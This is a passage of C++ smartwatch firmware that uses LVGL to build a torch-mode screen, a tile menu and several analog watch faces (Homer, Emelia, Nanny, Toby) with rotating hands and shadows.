lv_style_set_bg_opa(&torchStyle, LV_OBJ_PART_MAIN, 255); lv_style_set_text_color(&torchStyle, LV_OBJ_PART_MAIN, LV_COLOR_RED); lv_obj_add_style(torchLabel, LV_OBJ_PART_MAIN, &torchStyle); lv_obj_set_size(torchLabel, LV_HOR_RES, LV_VER_RES - 30); lv_obj_move_background(torchLabel); lv_obj_set_pos(torchLabel, 0, 30); lv_obj_t *l = lv_label_create (torchLabel, NULL); lv_label_set_text(l, " TORCH MODE "); lv_obj_align(l, NULL, LV_ALIGN_CENTER, 0, 0); lv_obj_set_user_data(torchLabel, l); /* * There seems to be an LVGL buglet that allows the scrolling label to bleed through * to the tile menu. Hiding it makes the ghost image disappear. */ //lv_obj_set_hidden (l, true); lv_obj_t *img_bin = lv_img_create (scr, NULL); lv_img_set_src (img_bin, &bg2); lv_obj_set_size (img_bin, LV_HOR_RES, LV_VER_RES); lv_obj_align (img_bin, NULL, LV_ALIGN_CENTER, 0, 0); tileView = lv_tileview_create (img_bin, NULL); lv_obj_add_style (tileView, LV_OBJ_PART_MAIN, &settingStyle); lv_obj_align (tileView, NULL, LV_ALIGN_CENTER, 0, 0); lv_tileview_set_edge_flash (tileView, true); lv_page_set_scrlbar_mode(tileView, LV_SCRLBAR_MODE_OFF); tileMap = (lv_point_t *)calloc (numDescTiles, sizeof (lv_point_t)); int row = -1; for (int idx = 0; idx < numDescTiles; idx++ ) { if (tileDesc[idx].col == 0) { row++; } log_d ("- for loop row=%d col=%d idx=%d", row, tileDesc[idx].col, idx); tileDesc[idx].tile = lv_cont_create (tileView, NULL); lv_obj_set_size (tileDesc[idx].tile, LV_HOR_RES, LV_VER_RES); lv_obj_add_style (tileDesc[idx].tile, LV_OBJ_PART_MAIN, &settingStyle); lv_obj_set_pos (tileDesc[idx].tile, LV_HOR_RES * tileDesc[idx].col, LV_VER_RES * row); tileDesc[idx].row = row; lv_tileview_add_element (tileView, tileDesc[idx].tile); tileDesc[idx].onEntry = nullptr; tileDesc[idx].onExit = nullptr; tileDesc[idx].create (idx); /* ** Only enable movement for column zero and the watch face row. */ tileMap[idx].x = tileDesc[idx].col + ((row == 0) || (tileDesc[idx].col == 0) ? 0 : TILE_OFFSET); tileMap[idx].y = row; } lv_tileview_set_valid_positions (tileView, tileMap, numDescTiles); lv_obj_set_event_cb (tileView, tileViewEvent_cb); lv_tileview_set_tile_act (tileView, 0, 0, LV_ANIM_OFF); } typedef struct { lv_task_t *timeTask; lv_task_t *battTask; lv_obj_t *timeLabel; lv_obj_t *dateLabel; } OriginalFaceData; static int onEntryOriginalFace (int idx) { OriginalFaceData *ofd = (OriginalFaceData *)(tileDesc[idx].data); log_d ("idx=%d", idx); if (ofd->timeTask == nullptr) { ofd->timeTask = lv_task_create(lv_update_task, 1000, LV_TASK_PRIO_LOWEST, (void *)idx); } } static int onExitOriginalFace (int idx) { OriginalFaceData *ofd = (OriginalFaceData *)(tileDesc[idx].data); log_d ("idx=%d", idx); if (ofd->timeTask != nullptr) { lv_task_del (ofd->timeTask); ofd->timeTask = nullptr; } } static int createOriginalFace (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; lv_obj_t *timeLabel; lv_obj_t *dateLabel; log_d ("idx=%d", idx); //! bar bar.createIcons(parentObj); updateBatteryLevel(); lv_icon_battery_t icon = LV_ICON_CALCULATION; TTGOClass *ttgo = TTGOClass::getWatch(); if (ttgo->power->isChargeing()) { icon = LV_ICON_CHARGE; } updateBatteryIcon(icon); //! main lv_style_init(&mainStyle); lv_style_set_radius(&mainStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&mainStyle, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&mainStyle, LV_OBJ_PART_MAIN, LV_OPA_0); lv_style_set_border_width(&mainStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_text_color(&mainStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&mainStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); mainBar = lv_cont_create(parentObj, NULL); lv_obj_set_size(mainBar, LV_HOR_RES, LV_VER_RES - bar.height()); lv_obj_add_style(mainBar, LV_OBJ_PART_MAIN, &mainStyle); lv_obj_align(mainBar, bar.self(), LV_ALIGN_OUT_BOTTOM_MID, 0, 0); //! Time static lv_style_t timeStyle; static lv_style_t dateStyle; lv_style_copy(&timeStyle, &mainStyle); lv_style_set_text_font (&timeStyle, LV_STATE_DEFAULT, &Ubuntu); lv_style_copy(&dateStyle, &mainStyle); lv_style_set_text_letter_space (&timeStyle, LV_STATE_DEFAULT, -2); timeLabel = lv_label_create(mainBar, NULL); lv_obj_add_style(timeLabel, LV_OBJ_PART_MAIN, &timeStyle); dateLabel = lv_label_create(mainBar, NULL); lv_obj_add_style(dateLabel, LV_OBJ_PART_MAIN, &dateStyle); //lv_label_set_long_mode(dateLabel, LV_LABEL_LONG_SROLL_CIRC); #ifdef DEBUG_EVENTS lv_obj_set_gesture_parent(mainBar,0); lv_obj_set_event_cb(mainBar, my_test_event_cb); #endif lv_tileview_add_element (tileView, mainBar); lv_obj_set_event_cb (mainBar, watchFaceEvent_cb); tileDesc[idx].onEntry = onEntryOriginalFace; tileDesc[idx].onExit = onExitOriginalFace; tileDesc[idx].onUpdate = updateOriginalFace; tileDesc[idx].data = malloc (sizeof (OriginalFaceData)); ((OriginalFaceData *)(tileDesc[idx].data))->timeLabel = timeLabel; ((OriginalFaceData *)(tileDesc[idx].data))->dateLabel = dateLabel; ((OriginalFaceData *)(tileDesc[idx].data))->timeTask = nullptr; updateTime(); } void updateStepCounter(uint32_t counter) { bar.setStepCounter(counter); } static int updateOriginalFace (int idx) { OriginalFaceData *ofd = (OriginalFaceData *)(tileDesc[idx].data); lv_obj_t *timeLabel = ofd->timeLabel; lv_obj_t *dateLabel = ofd->dateLabel; time_t now; struct tm info; char buf[64]; TTGOClass *ttgo = TTGOClass::getWatch(); time(&now); localtime_r(&now, &info); strftime(buf, sizeof(buf), "%H:%M:%S", &info); lv_label_set_text(timeLabel, buf); lv_obj_align(timeLabel, NULL, LV_ALIGN_IN_TOP_MID, 0, 10); strftime(buf, sizeof(buf), "%a %d/%m/%Y", &info); lv_label_set_text (dateLabel, buf); lv_obj_align(dateLabel, NULL, LV_ALIGN_CENTER, 0, 0); if (screenTimeout == defaultScreenTimeout) { if ((info.tm_hour > 22) || (info.tm_hour < 8)) { ttgo->setBrightness(8); } else { ttgo->setBrightness(64); } } } void updateTime() { tileDesc[0].onUpdate (0); } void torchOn () { //lv_obj_set_hidden ((lv_obj_t*)lv_obj_get_user_data (torchLabel), false); lv_obj_move_foreground(torchLabel); } void torchOff () { screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT; lv_obj_move_background(torchLabel); //lv_obj_set_hidden ((lv_obj_t*)lv_obj_get_user_data (torchLabel), true); updateTime (); } void updateBatteryLevel() { TTGOClass *ttgo = TTGOClass::getWatch(); int p = ttgo->power->getBattPercentage(); bar.updateLevel(p); } void updateBatteryIcon(lv_icon_battery_t icon) { if (icon <= LV_ICON_CALCULATION) { TTGOClass *ttgo = TTGOClass::getWatch(); int level = ttgo->power->getBattPercentage(); if (level > 95)icon = LV_ICON_BAT_FULL; else if (level > 65)icon = LV_ICON_BAT_3; else if (level > 40)icon = LV_ICON_BAT_2; else if (level > 10)icon = LV_ICON_BAT_1; else icon = LV_ICON_BAT_EMPTY; } bar.updateBatteryIcon(icon); } static void lv_update_task(struct _lv_task_t *data) { log_d ("update %d", (int)(data->user_data)); tileDesc[(int)(data->user_data)].onUpdate ((int)(data->user_data)); } static void lv_battery_task(struct _lv_task_t *data) { updateBatteryLevel(); } typedef struct { lv_task_t *timeTask; lv_obj_t *hourHand; lv_obj_t *minHand; lv_obj_t *secHand; lv_obj_t *hourShadow; lv_obj_t *minShadow; lv_obj_t *secShadow; lv_obj_t *leftEye; lv_obj_t *rightEye; } HomerFaceData_t; //dw typedef struct { lv_task_t *timeTask; lv_obj_t *hourHand; lv_obj_t *minHand; lv_obj_t *secHand; lv_obj_t *hourShadow; lv_obj_t *minShadow; lv_obj_t *secShadow; lv_obj_t *leftEye; lv_obj_t *rightEye; } EmeliaFaceData_t; static int updateHomerFace (int idx) { time_t now; struct tm info; HomerFaceData_t *hfd = (HomerFaceData_t *)(tileDesc[idx].data); static int lastMin = 61; log_d ("idx=%d", idx); time (&now); localtime_r (&now, &info); int sec = 60 * info.tm_sec; lv_img_set_angle (hfd->leftEye, sec); lv_img_set_angle (hfd->rightEye, sec); if (info.tm_min != lastMin) { lastMin = info.tm_min; int hour = (300 * (info.tm_hour % 12)) + (5 * lastMin); int min = 60 * lastMin; lv_img_set_angle (hfd->minShadow, min); lv_img_set_angle (hfd->minHand, min); lv_img_set_angle (hfd->hourShadow, hour); lv_img_set_angle (hfd->hourHand, hour); } lv_img_set_angle (hfd->secShadow, sec); lv_img_set_angle (hfd->secHand, sec); } static int updateEmeliaFace (int idx) { time_t now; struct tm info; EmeliaFaceData_t *hfd = (EmeliaFaceData_t *)(tileDesc[idx].data); static int lastMin = 61; log_d ("idx=%d", idx); time (&now); localtime_r (&now, &info); int sec = 60 * info.tm_sec; //dw lv_img_set_angle (hfd->leftEye, sec); //dw lv_img_set_angle (hfd->rightEye, sec); if (info.tm_min != lastMin) { lastMin = info.tm_min; int hour = (300 * (info.tm_hour % 12)) + (5 * lastMin); int min = 60 * lastMin; lv_img_set_angle (hfd->minShadow, min); lv_img_set_angle (hfd->minHand, min); lv_img_set_angle (hfd->hourShadow, hour); lv_img_set_angle (hfd->hourHand, hour); } lv_img_set_angle (hfd->secShadow, sec); lv_img_set_angle (hfd->secHand, sec); } static int onEntryHomerFace (int idx) { HomerFaceData_t *hfd = (HomerFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT * 5; defaultCpuFrequency = CPU_FREQ_MAX; setCpuFrequencyMhz (defaultCpuFrequency); if (hfd->timeTask == nullptr) { hfd->timeTask = lv_task_create (lv_update_task, 1000, LV_TASK_PRIO_LOWEST, (void *)idx); } } //dw static int onEntryEmeliaFace (int idx) { EmeliaFaceData_t *hfd = (EmeliaFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT * 5; defaultCpuFrequency = CPU_FREQ_MAX; setCpuFrequencyMhz (defaultCpuFrequency); if (hfd->timeTask == nullptr) { hfd->timeTask = lv_task_create (lv_update_task, 1000, LV_TASK_PRIO_LOWEST, (void *)idx); } } static int onExitHomerFace (int idx) { HomerFaceData_t *hfd = (HomerFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); if (hfd->timeTask != nullptr) { lv_task_del (hfd->timeTask); hfd->timeTask = nullptr; } screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT; defaultCpuFrequency = CPU_FREQ_NORM; } static int onExitEmeliaFace (int idx) { EmeliaFaceData_t *hfd = (EmeliaFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); if (hfd->timeTask != nullptr) { lv_task_del (hfd->timeTask); hfd->timeTask = nullptr; } screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT; defaultCpuFrequency = CPU_FREQ_NORM; } static int createHomerFace (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; lv_obj_t *canvas = lv_canvas_create (parentObj, NULL); lv_color_t *cbuf = (lv_color_t *)ps_malloc(LV_CANVAS_BUF_SIZE_TRUE_COLOR_ALPHA(240, 240) * sizeof (lv_color_t)); memcpy (cbuf, homerFace.data, homerFace.data_size); lv_canvas_set_buffer (canvas, cbuf, 240, 240, LV_IMG_CF_TRUE_COLOR_ALPHA); lv_draw_line_dsc_t ticks; lv_draw_line_dsc_init (&ticks); ticks.opa = LV_OPA_100; ticks.color = LV_COLOR_WHITE; lv_point_t line[2]; for (int i = 0; i < 60; i++) { int bot; float sx = cos(((i * 6) - 90) * 0.0174532925); float sy = sin(((i * 6) - 90) * 0.0174532925); line[0].x = sx * 117 + 120; line[0].y = sy * 117 + 120; if ((i % 15) == 0) { bot = 97; ticks.width = 6; } else if ((i % 5) == 0) { bot = 107; ticks.width = 4; } else { bot = 112; ticks.width = 2; } line[1].x = sx * bot + 120; line[1].y = sy * bot + 120; lv_canvas_draw_line (canvas, line, 2, &ticks); } lv_obj_align (canvas, parentObj, LV_ALIGN_CENTER, 0, 0); lv_obj_set_event_cb (parentObj, watchFaceEvent_cb); tileDesc[idx].onEntry = onEntryHomerFace; tileDesc[idx].onExit = onExitHomerFace; tileDesc[idx].onUpdate = updateHomerFace; tileDesc[idx].data = malloc (sizeof (HomerFaceData_t)); HomerFaceData_t *hfd = (HomerFaceData_t *)(tileDesc[idx].data); hfd->leftEye = lv_img_create (parentObj, NULL); hfd->rightEye = lv_img_create (parentObj, NULL); hfd->minShadow = lv_img_create (parentObj, NULL); hfd->minHand = lv_img_create (parentObj, NULL); hfd->hourShadow = lv_img_create (parentObj, NULL); hfd->hourHand = lv_img_create (parentObj, NULL); hfd->secShadow = lv_img_create (parentObj, NULL); hfd->secHand = lv_img_create (parentObj, NULL); lv_img_set_src (hfd->leftEye, &eye); lv_img_set_src (hfd->rightEye, &eye); lv_img_set_src (hfd->hourShadow, &hourHand); lv_img_set_pivot (hfd->hourShadow, 7, 77); lv_img_set_src (hfd->minShadow, &minHand); lv_img_set_pivot (hfd->minShadow, 7, 105); lv_img_set_src (hfd->secShadow, &secHand); lv_img_set_pivot (hfd->secShadow, 22, 90); lv_img_set_src (hfd->hourHand, &hourHand); lv_img_set_pivot (hfd->hourHand, 7, 77); lv_img_set_src (hfd->minHand, &minHand); lv_img_set_pivot (hfd->minHand, 7, 105); lv_img_set_src (hfd->secHand, &secHand); lv_img_set_pivot (hfd->secHand, 22, 90); lv_obj_align (hfd->leftEye, parentObj, LV_ALIGN_CENTER, -30, -28); lv_obj_align (hfd->rightEye, parentObj, LV_ALIGN_CENTER, 30, -28); lv_obj_align (hfd->hourShadow, parentObj, LV_ALIGN_CENTER, 0, -32); lv_obj_align (hfd->minShadow, parentObj, LV_ALIGN_CENTER, 0, -41); lv_obj_align (hfd->secShadow, parentObj, LV_ALIGN_CENTER, 3, -15); lv_obj_align (hfd->hourHand, parentObj, LV_ALIGN_CENTER, 1, -40); lv_obj_align (hfd->minHand, parentObj, LV_ALIGN_CENTER, 1, -49); lv_obj_align (hfd->secHand, parentObj, LV_ALIGN_CENTER, 4, -26); static lv_style_t shadowStyle; lv_style_init (&shadowStyle); lv_style_set_radius (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_image_recolor (&shadowStyle, LV_STATE_DEFAULT, LV_COLOR_BLACK); lv_style_set_image_recolor_opa (&shadowStyle, LV_STATE_DEFAULT, LV_OPA_100); lv_style_set_image_opa (&shadowStyle, LV_STATE_DEFAULT, 63); // LV_OPA_25ish! lv_style_set_border_width (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_obj_add_style (hfd->hourShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->minShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->secShadow, LV_IMG_PART_MAIN, &shadowStyle); hfd->timeTask = nullptr; updateHomerFace (idx); } static int createEmeliaFace (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; lv_obj_t *canvas = lv_canvas_create (parentObj, NULL); lv_color_t *cbuf = (lv_color_t *)ps_malloc(LV_CANVAS_BUF_SIZE_TRUE_COLOR_ALPHA(240, 240) * sizeof (lv_color_t)); memcpy (cbuf, emelia_x.data, emelia_x.data_size); lv_canvas_set_buffer (canvas, cbuf, 240, 240, LV_IMG_CF_TRUE_COLOR_ALPHA); lv_draw_line_dsc_t ticks; lv_draw_line_dsc_init (&ticks); ticks.opa = LV_OPA_100; ticks.color = LV_COLOR_WHITE; lv_point_t line[2]; for (int i = 0; i < 60; i++) { int bot; float sx = cos(((i * 6) - 90) * 0.0174532925); float sy = sin(((i * 6) - 90) * 0.0174532925); line[0].x = sx * 117 + 120; line[0].y = sy * 117 + 120; if ((i % 15) == 0) { bot = 97; ticks.width = 6; } else if ((i % 5) == 0) { bot = 107; ticks.width = 4; } else { bot = 112; ticks.width = 2; } line[1].x = sx * bot + 120; line[1].y = sy * bot + 120; lv_canvas_draw_line (canvas, line, 2, &ticks); } lv_obj_align (canvas, parentObj, LV_ALIGN_CENTER, 0, 0); lv_obj_set_event_cb (parentObj, watchFaceEvent_cb); tileDesc[idx].onEntry = onEntryEmeliaFace; tileDesc[idx].onExit = onExitEmeliaFace; tileDesc[idx].onUpdate = updateEmeliaFace; tileDesc[idx].data = malloc (sizeof (EmeliaFaceData_t)); EmeliaFaceData_t *hfd = (EmeliaFaceData_t *)(tileDesc[idx].data); //dw hfd->leftEye = lv_img_create (parentObj, NULL); //dw hfd->rightEye = lv_img_create (parentObj, NULL); hfd->minShadow = lv_img_create (parentObj, NULL); hfd->minHand = lv_img_create (parentObj, NULL); hfd->hourShadow = lv_img_create (parentObj, NULL); hfd->hourHand = lv_img_create (parentObj, NULL); hfd->secShadow = lv_img_create (parentObj, NULL); hfd->secHand = lv_img_create (parentObj, NULL); //dw lv_img_set_src (hfd->leftEye, &eye); //dw lv_img_set_src (hfd->rightEye, &eye); lv_img_set_src (hfd->hourShadow, &hourHand); lv_img_set_pivot (hfd->hourShadow, 7, 77); lv_img_set_src (hfd->minShadow, &minHand); lv_img_set_pivot (hfd->minShadow, 7, 105); lv_img_set_src (hfd->secShadow, &secHand); lv_img_set_pivot (hfd->secShadow, 22, 90); lv_img_set_src (hfd->hourHand, &hourHand); lv_img_set_pivot (hfd->hourHand, 7, 77); lv_img_set_src (hfd->minHand, &minHand); lv_img_set_pivot (hfd->minHand, 7, 105); lv_img_set_src (hfd->secHand, &secHand); lv_img_set_pivot (hfd->secHand, 22, 90); //dw lv_obj_align (hfd->leftEye, parentObj, LV_ALIGN_CENTER, -30, -28); //dw lv_obj_align (hfd->rightEye, parentObj, LV_ALIGN_CENTER, 30, -28); lv_obj_align (hfd->hourShadow, parentObj, LV_ALIGN_CENTER, 0, -32); lv_obj_align (hfd->minShadow, parentObj, LV_ALIGN_CENTER, 0, -41); lv_obj_align (hfd->secShadow, parentObj, LV_ALIGN_CENTER, 3, -15); lv_obj_align (hfd->hourHand, parentObj, LV_ALIGN_CENTER, 1, -40); lv_obj_align (hfd->minHand, parentObj, LV_ALIGN_CENTER, 1, -49); lv_obj_align (hfd->secHand, parentObj, LV_ALIGN_CENTER, 4, -26); static lv_style_t shadowStyle; lv_style_init (&shadowStyle); lv_style_set_radius (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_image_recolor (&shadowStyle, LV_STATE_DEFAULT, LV_COLOR_BLACK); lv_style_set_image_recolor_opa (&shadowStyle, LV_STATE_DEFAULT, LV_OPA_100); lv_style_set_image_opa (&shadowStyle, LV_STATE_DEFAULT, 63); // LV_OPA_25ish! lv_style_set_border_width (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_obj_add_style (hfd->hourShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->minShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->secShadow, LV_IMG_PART_MAIN, &shadowStyle); hfd->timeTask = nullptr; updateEmeliaFace (idx); } /***************************************************************************************************** * * Nanny Face * * */ typedef struct { lv_task_t *timeTask; lv_obj_t *hourHand; lv_obj_t *minHand; lv_obj_t *secHand; lv_obj_t *hourShadow; lv_obj_t *minShadow; lv_obj_t *secShadow; } NannyFaceData_t; static int updateNannyFace (int idx) { time_t now; struct tm info; NannyFaceData_t *hfd = (NannyFaceData_t *)(tileDesc[idx].data); static int lastMin = 61; log_d ("idx=%d", idx); time (&now); localtime_r (&now, &info); int sec = 60 * info.tm_sec; //dw lv_img_set_angle (hfd->leftEye, sec); //dw lv_img_set_angle (hfd->rightEye, sec); if (info.tm_min != lastMin) { lastMin = info.tm_min; int hour = (300 * (info.tm_hour % 12)) + (5 * lastMin); int min = 60 * lastMin; lv_img_set_angle (hfd->minShadow, min); lv_img_set_angle (hfd->minHand, min); lv_img_set_angle (hfd->hourShadow, hour); lv_img_set_angle (hfd->hourHand, hour); } lv_img_set_angle (hfd->secShadow, sec); lv_img_set_angle (hfd->secHand, sec); } static int onEntryNannyFace (int idx) { NannyFaceData_t *hfd = (NannyFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT * 5; defaultCpuFrequency = CPU_FREQ_MAX; setCpuFrequencyMhz (defaultCpuFrequency); if (hfd->timeTask == nullptr) { hfd->timeTask = lv_task_create (lv_update_task, 1000, LV_TASK_PRIO_LOWEST, (void *)idx); } } static int onExitNannyFace (int idx) { NannyFaceData_t *hfd = (NannyFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); if (hfd->timeTask != nullptr) { lv_task_del (hfd->timeTask); hfd->timeTask = nullptr; } screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT; defaultCpuFrequency = CPU_FREQ_NORM; } static int createNannyFace (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; lv_obj_t *canvas = lv_canvas_create (parentObj, NULL); lv_color_t *cbuf = (lv_color_t *)ps_malloc(LV_CANVAS_BUF_SIZE_TRUE_COLOR_ALPHA(240, 240) * sizeof (lv_color_t)); memcpy (cbuf, nanny_1.data, nanny_1.data_size); lv_canvas_set_buffer (canvas, cbuf, 240, 240, LV_IMG_CF_TRUE_COLOR_ALPHA); lv_draw_line_dsc_t ticks; lv_draw_line_dsc_init (&ticks); ticks.opa = LV_OPA_100; ticks.color = LV_COLOR_WHITE; lv_point_t line[2]; for (int i = 0; i < 60; i++) { int bot; float sx = cos(((i * 6) - 90) * 0.0174532925); float sy = sin(((i * 6) - 90) * 0.0174532925); line[0].x = sx * 117 + 120; line[0].y = sy * 117 + 120; if ((i % 15) == 0) { bot = 97; ticks.width = 6; } else if ((i % 5) == 0) { bot = 107; ticks.width = 4; } else { bot = 112; ticks.width = 2; } line[1].x = sx * bot + 120; line[1].y = sy * bot + 120; lv_canvas_draw_line (canvas, line, 2, &ticks); } lv_obj_align (canvas, parentObj, LV_ALIGN_CENTER, 0, 0); lv_obj_set_event_cb (parentObj, watchFaceEvent_cb); tileDesc[idx].onEntry = onEntryNannyFace; tileDesc[idx].onExit = onExitNannyFace; tileDesc[idx].onUpdate = updateNannyFace; tileDesc[idx].data = malloc (sizeof (NannyFaceData_t)); NannyFaceData_t *hfd = (NannyFaceData_t *)(tileDesc[idx].data); hfd->minShadow = lv_img_create (parentObj, NULL); hfd->minHand = lv_img_create (parentObj, NULL); hfd->hourShadow = lv_img_create (parentObj, NULL); hfd->hourHand = lv_img_create (parentObj, NULL); hfd->secShadow = lv_img_create (parentObj, NULL); hfd->secHand = lv_img_create (parentObj, NULL); lv_img_set_src (hfd->hourShadow, &hourHand); lv_img_set_pivot (hfd->hourShadow, 7, 77); lv_img_set_src (hfd->minShadow, &minHand); lv_img_set_pivot (hfd->minShadow, 7, 105); lv_img_set_src (hfd->secShadow, &secHand); lv_img_set_pivot (hfd->secShadow, 22, 90); lv_img_set_src (hfd->hourHand, &hourHand); lv_img_set_pivot (hfd->hourHand, 7, 77); lv_img_set_src (hfd->minHand, &minHand); lv_img_set_pivot (hfd->minHand, 7, 105); lv_img_set_src (hfd->secHand, &secHand); lv_img_set_pivot (hfd->secHand, 22, 90); lv_obj_align (hfd->hourShadow, parentObj, LV_ALIGN_CENTER, 0, -32); lv_obj_align (hfd->minShadow, parentObj, LV_ALIGN_CENTER, 0, -41); lv_obj_align (hfd->secShadow, parentObj, LV_ALIGN_CENTER, 3, -15); lv_obj_align (hfd->hourHand, parentObj, LV_ALIGN_CENTER, 1, -40); lv_obj_align (hfd->minHand, parentObj, LV_ALIGN_CENTER, 1, -49); lv_obj_align (hfd->secHand, parentObj, LV_ALIGN_CENTER, 4, -26); static lv_style_t shadowStyle; lv_style_init (&shadowStyle); lv_style_set_radius (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_image_recolor (&shadowStyle, LV_STATE_DEFAULT, LV_COLOR_BLACK); lv_style_set_image_recolor_opa (&shadowStyle, LV_STATE_DEFAULT, LV_OPA_100); lv_style_set_image_opa (&shadowStyle, LV_STATE_DEFAULT, 63); // LV_OPA_25ish! lv_style_set_border_width (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_obj_add_style (hfd->hourShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->minShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->secShadow, LV_IMG_PART_MAIN, &shadowStyle); hfd->timeTask = nullptr; updateNannyFace (idx); } /***************************************************************************************************** * * Toby Face * * */ typedef struct { lv_task_t *timeTask; lv_obj_t *hourHand; lv_obj_t *minHand; lv_obj_t *secHand; lv_obj_t *hourShadow; lv_obj_t *minShadow; lv_obj_t *secShadow; } TobyFaceData_t; static int updateTobyFace (int idx) { time_t now; struct tm info; TobyFaceData_t *hfd = (TobyFaceData_t *)(tileDesc[idx].data); static int lastMin = 61; log_d ("idx=%d", idx); time (&now); localtime_r (&now, &info); int sec = 60 * info.tm_sec; if (info.tm_min != lastMin) { lastMin = info.tm_min; int hour = (300 * (info.tm_hour % 12)) + (5 * lastMin); int min = 60 * lastMin; lv_img_set_angle (hfd->minShadow, min); lv_img_set_angle (hfd->minHand, min); lv_img_set_angle (hfd->hourShadow, hour); lv_img_set_angle (hfd->hourHand, hour); } lv_img_set_angle (hfd->secShadow, sec); lv_img_set_angle (hfd->secHand, sec); } static int onEntryTobyFace (int idx) { TobyFaceData_t *hfd = (TobyFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT * 5; defaultCpuFrequency = CPU_FREQ_MAX; setCpuFrequencyMhz (defaultCpuFrequency); if (hfd->timeTask == nullptr) { hfd->timeTask = lv_task_create (lv_update_task, 1000, LV_TASK_PRIO_LOWEST, (void *)idx); } } static int onExitTobyFace (int idx) { TobyFaceData_t *hfd = (TobyFaceData_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); if (hfd->timeTask != nullptr) { lv_task_del (hfd->timeTask); hfd->timeTask = nullptr; } screenTimeout = defaultScreenTimeout = DEFAULT_SCREEN_TIMEOUT; defaultCpuFrequency = CPU_FREQ_NORM; } static int createTobyFace (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; lv_obj_t *canvas = lv_canvas_create (parentObj, NULL); lv_color_t *cbuf = (lv_color_t *)ps_malloc(LV_CANVAS_BUF_SIZE_TRUE_COLOR_ALPHA(240, 240) * sizeof (lv_color_t)); memcpy (cbuf, toby_1.data, toby_1.data_size); lv_canvas_set_buffer (canvas, cbuf, 240, 240, LV_IMG_CF_TRUE_COLOR_ALPHA); lv_draw_line_dsc_t ticks; lv_draw_line_dsc_init (&ticks); ticks.opa = LV_OPA_100; ticks.color = LV_COLOR_WHITE; lv_point_t line[2]; for (int i = 0; i < 60; i++) { int bot; float sx = cos(((i * 6) - 90) * 0.0174532925); float sy = sin(((i * 6) - 90) * 0.0174532925); line[0].x = sx * 117 + 120; line[0].y = sy * 117 + 120; if ((i % 15) == 0) { bot = 97; ticks.width = 6; } else if ((i % 5) == 0) { bot = 107; ticks.width = 4; } else { bot = 112; ticks.width = 2; } line[1].x = sx * bot + 120; line[1].y = sy * bot + 120; lv_canvas_draw_line (canvas, line, 2, &ticks); } lv_obj_align (canvas, parentObj, LV_ALIGN_CENTER, 0, 0); lv_obj_set_event_cb (parentObj, watchFaceEvent_cb); tileDesc[idx].onEntry = onEntryNannyFace; tileDesc[idx].onExit = onExitNannyFace; tileDesc[idx].onUpdate = updateNannyFace; tileDesc[idx].data = malloc (sizeof (NannyFaceData_t)); NannyFaceData_t *hfd = (NannyFaceData_t *)(tileDesc[idx].data); hfd->minShadow = lv_img_create (parentObj, NULL); hfd->minHand = lv_img_create (parentObj, NULL); hfd->hourShadow = lv_img_create (parentObj, NULL); hfd->hourHand = lv_img_create (parentObj, NULL); hfd->secShadow = lv_img_create (parentObj, NULL); hfd->secHand = lv_img_create (parentObj, NULL); lv_img_set_src (hfd->hourShadow, &hourHand); lv_img_set_pivot (hfd->hourShadow, 7, 77); lv_img_set_src (hfd->minShadow, &minHand); lv_img_set_pivot (hfd->minShadow, 7, 105); lv_img_set_src (hfd->secShadow, &secHand); lv_img_set_pivot (hfd->secShadow, 22, 90); lv_img_set_src (hfd->hourHand, &hourHand); lv_img_set_pivot (hfd->hourHand, 7, 77); lv_img_set_src (hfd->minHand, &minHand); lv_img_set_pivot (hfd->minHand, 7, 105); lv_img_set_src (hfd->secHand, &secHand); lv_img_set_pivot (hfd->secHand, 22, 90); lv_obj_align (hfd->hourShadow, parentObj, LV_ALIGN_CENTER, 0, -32); lv_obj_align (hfd->minShadow, parentObj, LV_ALIGN_CENTER, 0, -41); lv_obj_align (hfd->secShadow, parentObj, LV_ALIGN_CENTER, 3, -15); lv_obj_align (hfd->hourHand, parentObj, LV_ALIGN_CENTER, 1, -40); lv_obj_align (hfd->minHand, parentObj, LV_ALIGN_CENTER, 1, -49); lv_obj_align (hfd->secHand, parentObj, LV_ALIGN_CENTER, 4, -26); static lv_style_t shadowStyle; lv_style_init (&shadowStyle); lv_style_set_radius (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_image_recolor 